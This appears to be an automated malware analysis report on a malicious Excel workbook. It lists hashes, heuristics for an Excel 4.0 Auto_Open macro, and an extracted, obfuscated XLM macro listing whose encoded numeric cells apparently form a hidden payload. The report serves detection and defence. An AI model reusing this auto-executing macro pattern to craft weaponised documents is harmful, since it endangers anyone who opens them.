Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e937937b28e14fa9…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:15 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: e2df05f5ae4d288d2f3e9e09f2cd191d SHA-1: d7498c9e5d815ff352a925a6c01f014820c640f8 SHA-256: e937937b28e14fa9de30f0f6bd61f8fc650300a3f2d834d6aa28c8b242875538
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6792 bytes
SHA-256: 25f0f4c92a71216679a347811130103f92a8d1cb3b87c0fe057a2cebfd0abd0f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  UFCWqHQUlh
' 0018     22 LABEL : Cell Value, String Constant - ApggdBC len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I141 
' 0018     27 LABEL : Cell Value, String Constant - BthSVUVBCpfy len=0 
' 0018     20 LABEL : Cell Value, String Constant - DVjsl len=0 
' 0018     21 LABEL : Cell Value, String Constant - GCDlvG len=0 
' 0018     20 LABEL : Cell Value, String Constant - GCPhm len=0 
' 0018     20 LABEL : Cell Value, String Constant - ggoAk len=0 
' 0018     22 LABEL : Cell Value, String Constant - HXgeHxX len=0 
' 0018     26 LABEL : Cell Value, String Constant - iaDABOsnMhp len=0 
' 0018     27 LABEL : Cell Value, String Constant - IOMmhRtLWYEu len=0 
' 0018     20 LABEL : Cell Value, String Constant - jSkHs len=0 
' 0018     20 LABEL : Cell Value, String Constant - LDdYw len=0 
' 0018     27 LABEL : Cell Value, String Constant - MVbbtodtQANM len=0 
' 0018     25 LABEL : Cell Value, String Constant - PnsuFhuqMJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - qBRyDw len=0 
' 0018     20 LABEL : Cell Value, String Constant - raPHR len=0 
' 0018     25 LABEL : Cell Value, String Constant - UAfpmZPsJo len=0 
' 0018     21 LABEL : Cell Value, String Constant - uAlGzs len=0 
' 0018     25 LABEL : Cell Value, String Constant - WrATbukuTl len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZHsqMkSZu len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZMjSKWy len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  UFCWqHQUlh,I47,"SET.NAME("UAfpmZPsJo",0+VALUE("0"))",""
'  UFCWqHQUlh,I51,"SET.NAME("raPHR",UAfpmZPsJo)",""
'  UFCWqHQUlh,I55,"SET.NAME("iaDABOsnMhp",UAfpmZPsJo)",""
'  UFCWqHQUlh,I57,"SET.NAME("GCPhm",COUNTA(BthSVUVBCpfy))",""
'  UFCWqHQUlh,I59,"SET.NAME("ZMjSKWy",COUNTA(jSkHs))",""
'  UFCWqHQUlh,Q62,"",940.00000000000000000000
'  UFCWqHQUlh,I63,[],""
'  UFCWqHQUlh,Q63,"",-301.00000000000000000000
'  UFCWqHQUlh,Q64,"",-390.00000000000000000000
'  UFCWqHQUlh,Q65,"",-466.00000000000000000000
'  UFCWqHQUlh,Q66,"",464.00000000000000000000
'  UFCWqHQUlh,I67,"SET.NAME("HXgeHxX","")",""
'  UFCWqHQUlh,Q67,"",-450.00000000000000000000
'  UFCWqHQUlh,I70,"raPHR",""
'  UFCWqHQUlh,I73,"SET.NAME("IOMmhRtLWYEu",HLOOKUP("*",BthSVUVBCpfy,raPHR,FALSE))",""
'  UFCWqHQUlh,I75,"uAlGzs",""
'  UFCWqHQUlh,I77,"SET.NAME("PnsuFhuqMJ",UAfpmZPsJo)",""
'  UFCWqHQUlh,I80,[],""
'  UFCWqHQUlh,I85,"PnsuFhuqMJ",""
'  UFCWqHQUlh,I88,"ApggdBC",""
'  UFCWqHQUlh,I92,"ggoAk",""
'  UFCWqHQUlh,I97,"LDdYw",""
'  UFCWqHQUlh,I102,"SET.NAME("WrATbukuTl",VALUE(HLOOKUP("*",jSkHs,LDdYw,FALSE)))",""
'  UFCWqHQUlh,I105,"ZHsqMkSZu",""
'  UFCWqHQUlh,I109,"HXgeHxX",""
'  UFCWqHQUlh,I114,"iaDABOsnMhp",""
'  UFCWqHQUlh,I117,NEXT(),""
'  UFCWqHQUlh,I120,"DVjsl",""
'  UFCWqHQUlh,I123,[],""
'  UFCWqHQUlh,I126,"GCDlvG",""
'  UFCWqHQUlh,I131,NEXT(),""
'  UFCWqHQUlh,I136,RETURN(),""
'  UFCWqHQUlh,I166,"SET.NAME("MVbbtodtQANM",I47)",""
'  UFCWqHQUlh,I169,"BthSVUVBCpfy",""
'  UFCWqHQUlh,I173,"SET.NAME("jSkHs",R96C11)",""
'  UFCWqHQUlh,I176,"SET.NAME("GCDlvG",184)",""
'  UFCWqHQUlh,I180,"SET.NAME("qBRyDw",9)",""
'  UFCWqHQUlh,I183,MVbbtodtQANM(),""
'  UFCWqHQUlh,I184,HALT(),""

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